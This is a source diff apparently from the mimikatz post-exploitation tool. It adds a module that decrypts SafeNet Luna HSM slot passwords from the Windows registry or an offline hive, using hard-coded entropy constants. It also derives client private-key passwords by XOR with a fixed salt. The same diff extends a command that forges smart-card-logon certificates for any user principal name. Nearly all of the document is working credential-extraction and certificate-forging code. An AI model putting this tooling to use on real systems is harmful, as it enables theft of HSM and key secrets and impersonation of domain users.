diff --git a/mimikatz/mimikatz.vcxproj b/mimikatz/mimikatz.vcxproj index 8d3c7a7..8f77040 100644 --- a/mimikatz/mimikatz.vcxproj +++ b/mimikatz/mimikatz.vcxproj @@ -167,6 +167,7 @@ + @@ -269,6 +270,7 @@ + diff --git a/mimikatz/mimikatz.vcxproj.filters b/mimikatz/mimikatz.vcxproj.filters index d75e65d..8b97241 100644 --- a/mimikatz/mimikatz.vcxproj.filters +++ b/mimikatz/mimikatz.vcxproj.filters @@ -287,6 +287,9 @@ local modules\dpapi\packages + + local modules\dpapi\packages + @@ -593,6 +596,9 @@ local modules\dpapi\packages + + local modules\dpapi\packages + diff --git a/mimikatz/modules/crypto/kuhl_m_crypto_pki.c b/mimikatz/modules/crypto/kuhl_m_crypto_pki.c index 2a7433a..e0236d5 100644 --- a/mimikatz/modules/crypto/kuhl_m_crypto_pki.c +++ b/mimikatz/modules/crypto/kuhl_m_crypto_pki.c @@ -403,6 +403,7 @@ BOOL generateCertificate(PKIWI_KEY_INFO ki, PKIWI_CERT_INFO ci, PCCERT_CONTEXT s CERT_INFO CertInfo = {0}; PWSTR dn; + PCCRYPT_OID_INFO info; CertInfo.dwVersion = CERT_V3; CertInfo.cExtension = 3; // KU, SKI, BC2 @@ -444,8 +445,10 @@ BOOL generateCertificate(PKIWI_KEY_INFO ki, PKIWI_CERT_INFO ci, PCCERT_CONTEXT s if(ci->cdp) CertInfo.rgExtension[CertInfo.cExtension++] = *ci->cdp; - kprintf(L"[s.cert] algorithm : %S\n", CertInfo.SignatureAlgorithm.pszObjId); - kprintf(L"[s.cert] validity : "); + kprintf(L"[s.cert] algorithm : %S", CertInfo.SignatureAlgorithm.pszObjId); + if(info = CryptFindOIDInfo(CRYPT_OID_INFO_OID_KEY, CertInfo.SignatureAlgorithm.pszObjId, CRYPT_OID_DISABLE_SEARCH_DS_FLAG)) + kprintf(L" (%s)", info->pwszName); + kprintf(L"\n[s.cert] validity : "); kull_m_string_displayLocalFileTime(&CertInfo.NotBefore); kprintf(L" -> "); kull_m_string_displayLocalFileTime(&CertInfo.NotAfter); @@ -552,15 +555,17 @@ BOOL generateCertificate(PKIWI_KEY_INFO ki, PKIWI_CERT_INFO ci, PCCERT_CONTEXT s NTSTATUS kuhl_m_crypto_c_sc_auth(int argc, wchar_t * argv[]) { - LPCWSTR szStoreCA, szNameCA, szPfx = NULL, szPin, szCrlDp; + LPCWSTR szStoreCA, szNameCA = NULL, szHashCA, szPfx = NULL, szKeySize, szPin, szCrlDp, szUPN; HCERTSTORE hCertStoreCA; PCCERT_CONTEXT pCertCtxCA; - BOOL isExported = FALSE, noUserStore = FALSE; + BOOL isExported = FALSE, noUserStore = FALSE, findHash = FALSE; CERT_EXTENSION eku = {0}, san = {0}, cdp = {0}; DWORD szCertificate = 0; PBYTE Certificate = NULL; KIWI_KEY_INFO ki = {{NULL, MS_ENHANCED_PROV, PROV_RSA_FULL, CRYPT_SILENT, 0, NULL, AT_KEYEXCHANGE}, NULL, CRYPT_EXPORTABLE, 2048}; - KIWI_CERT_INFO ci = {NULL, NULL, NULL, NULL, MIMIKATZ, L"FR", NULL, CERT_DIGITAL_SIGNATURE_KEY_USAGE | CERT_KEY_ENCIPHERMENT_KEY_USAGE, szOID_OIWSEC_sha1RSASign/*szOID_RSA_SHA256RSA*/, FALSE, &eku, &san, NULL}; + KIWI_CERT_INFO ci = {NULL, NULL, NULL, NULL, NULL, NULL, NULL, CERT_DIGITAL_SIGNATURE_KEY_USAGE | CERT_KEY_ENCIPHERMENT_KEY_USAGE, szOID_RSA_SHA256RSA, FALSE, &eku, &san, NULL}; + BYTE hashB[SHA_DIGEST_LENGTH] = {0}; + CRYPT_HASH_BLOB hash = {sizeof(hashB), hashB}; if(kull_m_string_args_byName(argc, argv, L"hw", NULL, NULL)) { @@ -570,19 +575,45 @@ NTSTATUS kuhl_m_crypto_c_sc_auth(int argc, wchar_t * argv[]) } noUserStore = kull_m_string_args_byName(argc, argv, L"nostore", NULL, NULL); kull_m_string_args_byName(argc, argv, L"castore", &szStoreCA, L"LOCAL_MACHINE"); - if(kull_m_string_args_byName(argc, argv, L"caname", &szNameCA, NULL)) + + if(kull_m_string_args_byName(argc, argv, L"sha1", NULL, NULL)) + ci.algorithm = szOID_OIWSEC_sha1RSASign; + + if(kull_m_string_args_byName(argc, argv, L"keysize", &szKeySize, NULL)) + ki.wKeySize = (WORD) wcstoul(szKeySize, NULL, 0); + + kull_m_string_args_byName(argc, argv, L"caname", &szNameCA, NULL); + if(kull_m_string_args_byName(argc, argv, L"cahash", &szHashCA, NULL)) { - if(kull_m_string_args_byName(argc, argv, L"upn", &ci.cn, NULL)) + findHash = kull_m_string_stringToHex(szHashCA, hash.pbData, hash.cbData); + if(!findHash) + PRINT_ERROR(L"/cahash needs a SHA1 in hex (40chars for 20bytes)\n"); + } + + if(szNameCA || findHash) + { + if(kull_m_string_args_byName(argc, argv, L"upn", &szUPN, NULL)) { + kull_m_string_args_byName(argc, argv, L"cn", &ci.cn, szUPN); + kull_m_string_args_byName(argc, argv, L"o", &ci.o, MIMIKATZ); + kull_m_string_args_byName(argc, argv, L"ou", &ci.ou, NULL); + kull_m_string_args_byName(argc, argv, L"c", &ci.c, L"FR"); + kprintf(L"CA store : %s\n", szStoreCA); if(hCertStoreCA = CertOpenStore(CERT_STORE_PROV_SYSTEM, 0, (HCRYPTPROV_LEGACY) NULL, kull_m_crypto_system_store_to_dword(szStoreCA) | CERT_STORE_OPEN_EXISTING_FLAG | CERT_STORE_READONLY_FLAG, L"My")) { - kprintf(L"CA name : %s\n", szNameCA); - if(pCertCtxCA = CertFindCertificateInStore(hCertStoreCA, X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, 0, CERT_FIND_SUBJECT_STR, szNameCA, NULL)) + if(findHash) + { + kprintf(L"CA hash (sha1) : "); + kull_m_string_wprintf_hex(hash.pbData, hash.cbData, 0); + kprintf(L"\n"); + } + else kprintf(L"CA name : %s\n", szNameCA); + if(pCertCtxCA = CertFindCertificateInStore(hCertStoreCA, X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, 0, findHash ? CERT_FIND_SHA1_HASH : CERT_FIND_SUBJECT_STR, findHash ? (LPVOID) &hash : (LPVOID) szNameCA, NULL)) { if(kuhl_m_crypto_c_sc_auth_Ext_EKU(&eku, 2, szOID_KP_SMARTCARD_LOGON, szOID_PKIX_KP_CLIENT_AUTH)) { - if(kuhl_m_crypto_c_sc_auth_Ext_AltUPN(&san, ci.cn)) + if(kuhl_m_crypto_c_sc_auth_Ext_AltUPN(&san, szUPN)) { if(kull_m_string_args_byName(argc, argv, L"crldp", &szCrlDp, NULL)) if(kuhl_m_crypto_c_sc_auth_Ext_CDP(&cdp, 1, szCrlDp)) @@ -624,7 +655,7 @@ NTSTATUS kuhl_m_crypto_c_sc_auth(int argc, wchar_t * argv[]) } else PRINT_ERROR(L"/upn:user@domain.local needed\n"); } - else PRINT_ERROR(L"/caname:CA-KIWI needed\n"); + else PRINT_ERROR(L"/caname:CA-KIWI or /cahash:SHA1 needed\n"); if(ki.pin) LocalFree(ki.pin); @@ -634,7 +665,5 @@ NTSTATUS kuhl_m_crypto_c_sc_auth(int argc, wchar_t * argv[]) NTSTATUS kuhl_m_crypto_c_pkiwi(int argc, wchar_t * argv[]) { KIWI_KEY_INFO CaKi = {{NULL, MS_ENHANCED_PROV, PROV_RSA_FULL, CRYPT_SILENT, 0, NULL, AT_SIGNATURE}, NULL, CRYPT_EXPORTABLE, 4096}; - - return STATUS_SUCCESS; } \ No newline at end of file diff --git a/mimikatz/modules/dpapi/kuhl_m_dpapi.c b/mimikatz/modules/dpapi/kuhl_m_dpapi.c index 6645319..a7c3963 100644 --- a/mimikatz/modules/dpapi/kuhl_m_dpapi.c +++ b/mimikatz/modules/dpapi/kuhl_m_dpapi.c @@ -20,9 +20,10 @@ const KUHL_M_C kuhl_m_c_dpapi[] = { #if defined(SQLITE3_OMIT) {kuhl_m_dpapi_chrome, L"chrome", L"Chrome test"}, #endif - {kuhl_m_dpapi_ssh, L"ssh", L"SSH Agent registry cache"}, - {kuhl_m_dpapi_rdg, L"rdg", L"RDG saved passwords"}, - {kuhl_m_dpapi_powershell, L"ps", L"PowerShell credentials (PSCredentials or SecureString)"}, + {kuhl_m_dpapi_ssh, L"ssh", L"SSH Agent registry cache"}, + {kuhl_m_dpapi_rdg, L"rdg", L"RDG saved passwords"}, + {kuhl_m_dpapi_powershell, L"ps", L"PowerShell credentials (PSCredentials or SecureString)"}, + {kuhl_m_dpapi_lunahsm, L"luna", L"Safenet LunaHSM KSP"}, {kuhl_m_dpapi_oe_cache, L"cache", NULL}, }; const KUHL_M kuhl_m_dpapi = { diff --git a/mimikatz/modules/dpapi/kuhl_m_dpapi.h b/mimikatz/modules/dpapi/kuhl_m_dpapi.h index 412eed2..bfeeec8 100644 --- a/mimikatz/modules/dpapi/kuhl_m_dpapi.h +++ b/mimikatz/modules/dpapi/kuhl_m_dpapi.h @@ -17,6 +17,7 @@ #include "packages/kuhl_m_dpapi_ssh.h" #include "packages/kuhl_m_dpapi_rdg.h" #include "packages/kuhl_m_dpapi_powershell.h" +#include "packages/kuhl_m_dpapi_lunahsm.h" const KUHL_M kuhl_m_dpapi; diff --git a/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_lunahsm.c b/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_lunahsm.c new file mode 100644 index 0000000..2eefe24 --- /dev/null +++ b/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_lunahsm.c @@ -0,0 +1,195 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : https://creativecommons.org/licenses/by/4.0/ +*/ +#include "kuhl_m_dpapi_lunahsm.h" + +NTSTATUS kuhl_m_dpapi_lunahsm(int argc, wchar_t * argv[]) +{ + HANDLE hDataSoftware; + PKULL_M_REGISTRY_HANDLE hSoftware; + HKEY hBase; + LPCWSTR szArg = NULL; + LPSTR aClient, PrivateKeyPassword; + + if(kull_m_string_args_byName(argc, argv, L"client", &szArg, NULL)) // ok, not really DPAPI, but it calculates the password of the client private key + { + if(aClient = kull_m_string_unicode_to_ansi(szArg)) + { + if(PrivateKeyPassword = kuhl_m_dpapi_safenet_pk_password(aClient)) + { + kprintf(L"Password for `%S` private key is `%S` (without `` quotes)\n", aClient, PrivateKeyPassword); + LocalFree(PrivateKeyPassword); + } + LocalFree(aClient); + } + } + if(kull_m_string_args_byName(argc, argv, L"hive", &szArg, NULL)) + { + hDataSoftware = CreateFile(szArg, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); + if(hDataSoftware != INVALID_HANDLE_VALUE) + { + if(kull_m_registry_open(KULL_M_REGISTRY_TYPE_HIVE, hDataSoftware, FALSE, &hSoftware)) + { + kuhl_m_dpapi_safenet_ksp_registryparser(hSoftware, NULL, argc, argv); + kull_m_registry_close(hSoftware); + } + CloseHandle(hSoftware); + } + else PRINT_ERROR_AUTO(L"CreateFile (SOFTWARE hive)"); + } + else + { + if(kull_m_registry_open(KULL_M_REGISTRY_TYPE_OWN, NULL, FALSE, &hSoftware)) + { + if(kull_m_registry_RegOpenKeyEx(hSoftware, HKEY_LOCAL_MACHINE, L"SOFTWARE", 0, KEY_READ, &hBase)) + { + kuhl_m_dpapi_safenet_ksp_registryparser(hSoftware, hBase, argc, argv); + kull_m_registry_RegCloseKey(hSoftware, hBase); + } + kull_m_registry_close(hSoftware); + } + } + return STATUS_SUCCESS; +} + +void kuhl_m_dpapi_safenet_ksp_registryparser(PKULL_M_REGISTRY_HANDLE hRegistry, HKEY hBase, int argc, wchar_t * argv[]) +{ + HKEY hKeys, hEntry; + DWORD i, nbSubKeys, szMaxSubKeyLen, szKey; + wchar_t * keyName; + char *aKeyName; + BYTE entropy[MD5_DIGEST_LENGTH]; + + if(kull_m_registry_RegOpenKeyEx(hRegistry, hBase, L"Safenet\\SafeNetKSP\\Slots", 0, KEY_WOW64_64KEY | KEY_READ, &hKeys)) + { + if(kull_m_registry_RegQueryInfoKey(hRegistry, hKeys, NULL, NULL, NULL, &nbSubKeys, &szMaxSubKeyLen, NULL, NULL, NULL, NULL, NULL, NULL)) + { + szMaxSubKeyLen++; + if(keyName = (wchar_t *) LocalAlloc(LPTR, (szMaxSubKeyLen + 1) * sizeof(wchar_t))) + { + for(i = 0; i < nbSubKeys; i++) + { + szKey = szMaxSubKeyLen; + if(kull_m_registry_RegEnumKeyEx(hRegistry, hKeys, i, keyName, &szKey, NULL, NULL, NULL, NULL)) + { + kprintf(L"\n [%s] ", keyName); + + if(aKeyName = kull_m_string_unicode_to_ansi(keyName)) + { + kuhl_m_dpapi_safenet_ksp_entropy(aKeyName, entropy); + kull_m_string_wprintf_hex(entropy, MD5_DIGEST_LENGTH, 0); + kprintf(L" "); + if(kull_m_registry_RegOpenKeyEx(hRegistry, hKeys, keyName, 0, KEY_READ, &hEntry)) + { + kprintf(L"\n"); + kuhl_m_dpapi_safenet_ksp_registry_user_parser(hRegistry, hEntry, entropy, argc, argv); + kull_m_registry_RegCloseKey(hRegistry, hEntry); + } + else PRINT_ERROR_AUTO(L"kull_m_registry_RegOpenKeyEx"); + LocalFree(aKeyName); + } + } + } + LocalFree(keyName); + } + } + else PRINT_ERROR_AUTO(L"kull_m_registry_RegQueryInfoKey"); + kull_m_registry_RegCloseKey(hRegistry, hKeys); + } + +} + +void kuhl_m_dpapi_safenet_ksp_registry_user_parser(PKULL_M_REGISTRY_HANDLE hRegistry, HKEY hEntry, BYTE entropy[MD5_DIGEST_LENGTH], int argc, wchar_t * argv[]) +{ + DWORD i, type, nbValues, szMaxValueNameLen, szMaxValueLen, szSecretName, szSecret, cbDataOut; + PBYTE secret, dataOut; + wchar_t * secretName; + + if(kull_m_registry_RegQueryInfoKey(hRegistry, hEntry, NULL, NULL, NULL, NULL, NULL, NULL, &nbValues, &szMaxValueNameLen, &szMaxValueLen, NULL, NULL)) + { + szMaxValueNameLen++; + if(secretName = (wchar_t *) LocalAlloc(LPTR, (szMaxValueNameLen + 1) * sizeof(wchar_t))) + { + if(secret = (PBYTE) LocalAlloc(LPTR, szMaxValueLen)) + { + for(i = 0; i < nbValues; i++) + { + szSecretName = szMaxValueNameLen; + szSecret = szMaxValueLen; + if(kull_m_registry_RegEnumValue(hRegistry, hEntry, i, secretName, &szSecretName, NULL, &type, secret, &szSecret)) + { + kprintf(L"\t[%s]\n", secretName); + if(type == REG_BINARY) + { + if(kuhl_m_dpapi_unprotect_raw_or_blob(secret, szSecret, NULL, argc, argv, entropy, MD5_DIGEST_LENGTH, (LPVOID *) &dataOut, &cbDataOut, NULL)) + { + kprintf(L"\tSlot password: %.*S\n", cbDataOut, dataOut); + LocalFree(dataOut); + } + } + else PRINT_ERROR(L"Incompatible REG type: %u\n", type); + } + } + LocalFree(secret); + } + LocalFree(secretName); + } + } +} + +const BYTE SAFENET_KSP_ENTROPY_MIXER_DERIVED[MD5_DIGEST_LENGTH] = {0xef, 0x85, 0xf9, 0x5d, 0x17, 0x77, 0x07, 0x41, 0xcf, 0x6d, 0x27, 0x9f, 0x17, 0x9b, 0xdd, 0x4f}; +void kuhl_m_dpapi_safenet_ksp_entropy(IN LPCSTR identity, OUT BYTE entropy[MD5_DIGEST_LENGTH]) +{ + DWORD i, dwIdentity = lstrlenA(identity); + MD5_CTX ctx; + MD5Init(&ctx); + for(i = 0; i < 1462; i++) + MD5Update(&ctx, identity, dwIdentity); + MD5Final(&ctx); + for(i = 0; i < MD5_DIGEST_LENGTH; i++) + entropy[i] = ctx.digest[i] ^ SAFENET_KSP_ENTROPY_MIXER_DERIVED[i]; +} + +const BYTE SAFENET_PRIVATEKEY_PASSWORD_SALT_DERIVED[] = {0x05, 0x1c, 0x08, 0x14, 0x0d, 0x11, 0x45, 0x54, 0x04, 0x45, 0x15, 0x4f, 0x0d, 0x01, 0x4e, 0x04, 0x1b, 0x06, 0x46, 0x00}; +LPSTR kuhl_m_dpapi_safenet_pk_password(IN LPCSTR server) +{ + BOOL status = FALSE; + DWORD i, dwServer = min(lstrlenA(server), 20); + LPSTR password; + if(password = (LPSTR) LocalAlloc(LPTR, dwServer + 1)) + for(i = 0; i < dwServer; i++) + password[i] = SAFENET_PRIVATEKEY_PASSWORD_SALT_DERIVED[i] ^ server[i]; + return password; +} + +//const BYTE SAFENET_KSP_ENTROPY_MIXER[MD5_DIGEST_LENGTH] = {0xd5, 0x56, 0x7b, 0xc9, 0x15, 0x42, 0x62, 0x0f, 0x9c, 0xc6, 0x17, 0xf1, 0x93, 0x9a, 0x0c, 0xa7}; +//void kuhl_m_dpapi_safenet_ksp_entropy_original(IN LPCSTR identity, OUT BYTE entropy[MD5_DIGEST_LENGTH]) +//{ +// DWORD i, dwIdentity = lstrlenA(identity); +// MD5_CTX ctx; +// BYTE value = 0x45; +// MD5Init(&ctx); +// for(i = 0; i < 1462; i++) +// MD5Update(&ctx, identity, dwIdentity); +// MD5Final(&ctx); +// for(i = 0; i < MD5_DIGEST_LENGTH; i++) +// { +// value ^= ((SAFENET_KSP_ENTROPY_MIXER[i] >> 1) & 0x7e) + 0x40; +// entropy[i] = ctx.digest[i] ^ value; +// } +//} +// +//const char SAFENET_PRIVATEKEY_PASSWORD_SALT0[] = "Unable to load config info."; +//const char SAFENET_PRIVATEKEY_PASSWORD_SALT1[] = "Private key length is too short"; +//LPSTR kuhl_m_dpapi_safenet_pk_password_original(IN LPCSTR server) +//{ +// BOOL status = FALSE; +// DWORD i, dwServer = min(lstrlenA(server), 20); +// LPSTR password; +// if(password = (LPSTR) LocalAlloc(LPTR, dwServer + 1)) +// for(i = 0; i < dwServer; i++) +// password[i] = SAFENET_PRIVATEKEY_PASSWORD_SALT0[i] ^ SAFENET_PRIVATEKEY_PASSWORD_SALT1[i] ^ server[i]; +// return password; +//} \ No newline at end of file diff --git a/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_lunahsm.h b/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_lunahsm.h new file mode 100644 index 0000000..dbad031 --- /dev/null +++ b/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_lunahsm.h @@ -0,0 +1,15 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : https://creativecommons.org/licenses/by/4.0/ +*/ +#pragma once +#include "../kuhl_m_dpapi.h" + +NTSTATUS kuhl_m_dpapi_lunahsm(int argc, wchar_t * argv[]); + +void kuhl_m_dpapi_safenet_ksp_registryparser(PKULL_M_REGISTRY_HANDLE hRegistry, HKEY hBase, int argc, wchar_t * argv[]); +void kuhl_m_dpapi_safenet_ksp_registry_user_parser(PKULL_M_REGISTRY_HANDLE hRegistry, HKEY hEntry, BYTE entropy[MD5_DIGEST_LENGTH], int argc, wchar_t * argv[]); + +void kuhl_m_dpapi_safenet_ksp_entropy(IN LPCSTR identity, OUT BYTE entropy[MD5_DIGEST_LENGTH]); +LPSTR kuhl_m_dpapi_safenet_pk_password(IN LPCSTR server); \ No newline at end of file diff --git a/mimikatz/modules/kuhl_m_lsadump.c b/mimikatz/modules/kuhl_m_lsadump.c index cbee280..fbd77f0 100644 --- a/mimikatz/modules/kuhl_m_lsadump.c +++ b/mimikatz/modules/kuhl_m_lsadump.c @@ -711,7 +711,6 @@ BOOL kuhl_m_lsadump_getNLKMSecretAndCache(IN PKULL_M_REGISTRY_HANDLE hSecurity, CRYPTO_BUFFER data, key = {MD5_DIGEST_LENGTH, MD5_DIGEST_LENGTH, digest}; LSA_UNICODE_STRING usr; - if(kuhl_m_lsadump_decryptSecret(hSecurity, hPolicyBase, L"Secrets\\NL$KM\\CurrVal", lsaKeysStream, lsaKeyUnique, &pNLKM, &szNLKM)) { if(kull_m_registry_RegOpenKeyEx(hSecurity, hSecurityBase, L"Cache", 0, KEY_READ | (pCacheData ? (pCacheData->username ? KEY_WRITE : 0) : 0), &hCache))